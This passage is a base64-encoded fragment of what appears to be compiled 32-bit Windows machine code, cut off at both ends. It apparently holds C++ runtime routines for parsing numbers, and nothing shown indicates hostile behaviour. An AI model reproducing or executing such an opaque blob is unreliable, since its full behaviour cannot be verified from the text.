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IXAD5VF14B91wAPhMMAAACJfcw5fcQPhq4AAACJfciLRcADRciNdeCLCIlN2ItICIlN3P9wBOh/QP//i0sEjUXYO8FzOIsTO9B3MivCaiSZXvf+i/A7Swh1B4vL6EW+//+LQwRr9iQDMzvHdDqLDokIi04Eg8YIiUgEVusiO0sIdQeLy+gdvv//i0MEO8d0F4tN2IkIi03ciUgEjU3gUY1wCOjIeP//g0MEJGoBM/+NdeDoNEr///9FzItFzINFyAw7RcQPglX/////dcD/FTTjAxA5fdB0Cf910P8VPOMDEItN/IpF118zzV7oUGgBAMnDVYvsgey8AAAAodAGBRAzxYlF+ItFCFZXM/87xw+UwYmFRP///8aFX////wCJvVD///+JvVT///+EyXQKib1U////isHrC421VP///+g+/v//hMAPhCECAACNhVD///9QjYVY////UGoBV/+1VP////8VLOMDEIXAD5WFX////4C9X////wAPhNoBAACJvUz///85vVD///8PhrwBAACJvUj////rBou9SP///4uFWP///4sMOIlNtItMOASJTbj/dDgIjXW86P0+//9qB1iJReyJRZCJRawzwGaJRZiNRZhQjYV8////UIuFWP///zP2M8mJdehmiU3YiXWMZomNfP///4l1qP90BwyLhUT////otcj//4PEDITAdCtq/1aNRZiNTdjoukf//41F2Oi9yv//Vo2FfP///1CDyP+Nddjo7Jj//+thjUXYUIuFWP////90BwzoPMj//1lZhMB1V4uFWP///zl0BwyNRdh0PWgkLwQQUOhwPv//Vo2FYP///2oBUOiy0f//g8QMVlCDyP+NddjomJj//2oBM/+NtWD////oUUj//zP26wtoQC8EEFDoMz7//4tDBI1NtDvIcy6LC41VtDvKdyWL+iv5wf8GO0MIdQeL0+ixAAAAi0sEO850JovHweAGAwOL+esWO0MIdQeL0+iTAAAAi3sEO/50CI1FtOimAQAAg0MEQGoBM/+NdZjo30f//2oBjbV8////6NJH//9qAY112OjIR///agGNdbzovkf///+FTP///4uFTP///4OFSP///xA7hVD///8Pgkz+////tVj/////FTTjAxA5vVT///90DP+1VP////8VPOMDEItN+IqFX////18zzV7owmUBAMnDiwpWi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